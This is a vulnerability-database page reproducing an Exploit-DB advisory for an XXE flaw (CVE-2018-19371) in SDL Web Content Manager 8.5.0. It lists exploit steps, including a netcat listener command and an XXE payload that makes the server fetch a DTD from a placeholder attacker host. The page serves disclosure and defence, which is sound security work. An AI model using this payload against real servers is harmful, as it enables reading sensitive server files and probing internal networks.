Lucene search
K

SDL Web Content Manager 8.5.0 - XML External Entity Injection

🗓️ 18 Dec 2018 00:00:00Reported by Ahmed Elhady MohamedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

SDL Web Content Manager 8.5.0 XXE Vulnerability in SaveUserSettings web service - Allows XML External Entity Injection and Network Port Scannin

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SDL Web Content Manager 8.5.0 - XML External Entity Injection Vulnerability
18 Dec 201800:00
zdt
CVE
CVE-2018-19371
2 Jan 201918:00
cve
Cvelist
CVE-2018-19371
2 Jan 201918:00
cvelist
EUVD
EUVD-2018-11064
7 Oct 202500:30
euvd
exploitpack
SDL Web Content Manager 8.5.0 - XML External Entity Injection
18 Dec 201800:00
exploitpack
NVD
CVE-2018-19371
2 Jan 201918:29
nvd
Packet Storm
SDL Web Content Manager 8.5.0 XML Injection
18 Dec 201800:00
packetstorm
Prion
Design/Logic Flaw
2 Jan 201918:29
prion
######################
# Author Information #
######################
Author : Ahmed Elhady Mohamed
twitter : @Ahmed__ELhady
Company : Canon Security
Date : 25/11/2018
########################
# Software Information #
########################
Affected Software : SDL Web Content Manager
Version: Build 8.5.0
Vendor: SDL Tridion
Software website : https://www.sdl.com
CVE Number: CVE-2018-19371
###############
# Description #
###############
SDL Web Content Manager build 8.5.0 is vulnerable to XXE vulnerability in SaveUserSettings web service. SaveUserSettings web service takes XML values as a parameter. The webservices allows and accepts XML external entity which allows an attacker to read sensitive files from the server. Moreover it can be used to perform network port scanning to internal network.
#################
# Exploit Steps #
#################
1- Access the application with any user account
2- it will ask you to choose your language preferences
3-the application sent a request to SaveUserSettings web service with XML content in the request body.
4- open a port listener on the attacker server using netcat tool as the following: nc -lvp 80
5- intercept the request using Burpsuite proxy tool
6- inject the following payload in the beginning of the XML value.
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM \"http://attackerServer/xxe1.dtd\">%asd;%c;]>
<cdl>&rrr;</cdl>
7- The injected payload allows the server to fetch the xxe1.dtd resource from the hacker server.
8- send the request to the server.
9- The application server will connect to the attacker server

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2018 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 24
CVSS 36.5
EPSS0.05789
46